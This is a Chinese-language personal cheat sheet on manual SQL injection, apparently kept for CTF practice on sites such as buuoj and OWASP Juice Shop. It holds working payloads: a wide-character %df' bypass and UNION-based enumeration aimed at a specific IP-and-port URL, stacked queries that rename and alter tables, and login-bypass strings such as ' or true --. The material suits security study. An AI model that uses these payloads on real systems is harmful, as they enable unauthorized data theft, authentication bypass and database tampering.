sql手工注入笔记
靶机 https://buuoj.cn/challenges
------------------------------------------------------------------普通注入场景-----------------------------------------------------------------------------
参考: https://www.freesion.com/article/96531243912/
'单引号注入尝试
靶机:
'
宽字符注入尝试(没啥用,get请求写好注入语句先在浏览器访问自动给转的)
%df' 的解释 https://www.cnblogs.com/bmjoker/p/9134830.html
http://219.153.49.228:46216/new_list.php?id=-1%df' union select 1,2,3,4,(select group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572)%23
查出字段有多少个(因为 union 前后字段好相同)
http://219.153.49.228:46216/new_list.php?id=-1%df' order by 5%23 (get请求用这个) 一个一个数字试,我这里输入6有报错,输入5请求正常so 字段为5个
查询出数据库名称
http://219.153.49.228:46216/new_list.php?id=-1%df' union select 1,2,3,4,database()%23 (get请求用这个)
select 1 FROM tb_term where 1='-1%df' union select 1,2,3,4,database() #'
post参数输入 (post请求用这个)
1' union select 1,2,3,4,database()#
sql语句等于:
where='1' union select 1,2,3,4,database()#'
sql语句
-- 获取数据库名称---叫mysql
select 1 FROM db where 1=1 union select database();
-- 获取数据库下的所有表名称--查询mysql下面表名有哪些--我们取time_zone这个表
select 1 FROM db where 1=1 union select table_name from information_schema.tables where table_schema='mysql'
-- 获取表下面的字段有哪些
select 1 FROM db where 1='1' union select column_name from information_schema.columns where table_schema='mysql' and table_name='time_zone'
-- 最后就是拼接查询即可
select 1 FROM db where 1='1' union select * FROM 表
以上语句参考 https://blog.csdn.net/com_ma/article/details/81180183
-- 探测多少个字段GROUP BY 后面数字大于字段数会报错
select * FROM db where 1=1 ORDER BY 10
-- 拼接''-- (注意--后面有空格) 会忽略后面的条件
select 1 FROM db where 1=1 union select database() ' ''-- ';
例子输入 1'--
等于
where a='1' #' 忽略后面的条件
---拼接# 也会忽略后面的条件 (有时用#不行要用-- )
select 1 FROM db where 1=1 union select database() #';
例子输入 1'#
等于
where a='1' #' 忽略后面的条件
get请求拼接用的是url编码,实际直接写好放浏览器访问就会自动帮你转
在线编码: http://www.jsons.cn/urlencode
#27 为 '
#23 为 #
#20 为空格
注入拼接要使用编码
----------------------------------------------------------------------不能用select 场景--------------------------------
select * FROM CustomerAnswer where 1='1'; show databases #'
-- 查看有哪些表
select * FROM CustomerAnswer where 1='1'; show tables #'
-- 查看表里面有什么字段、如果表是数字要`123`加``号
select * FROM CustomerAnswer where 1='1'; show COLUMNS from DD #'
-- 给表添加字段
ALTER TABLE DD add id2 int;
-- 删除一个字段
ALTER TABLE DD drop id2 ;
-- 修改字段类型
ALTER TABLE DD modify COLUMN id2 varchar(200);
-- 修改表名字
RENAME TABLE CustomerAnswer TO DD;
-- 修改表里面的字段 (flag 为原字段 date为新字段 注意类型)
alter table words change flag date varchar(200);
要拼接成一句修改表名的时候,不然前面找不到表名系统会报错
参考: https://wenku.baidu.com/view/0f44e7cc82c758f5f61fb7360b4c2e3f572725e9.html
常用
登陆管理员
‘ or true --
登陆指定账号
jim@juice-sh.op' --
或
jim@juice-sh.op limit 1,1 --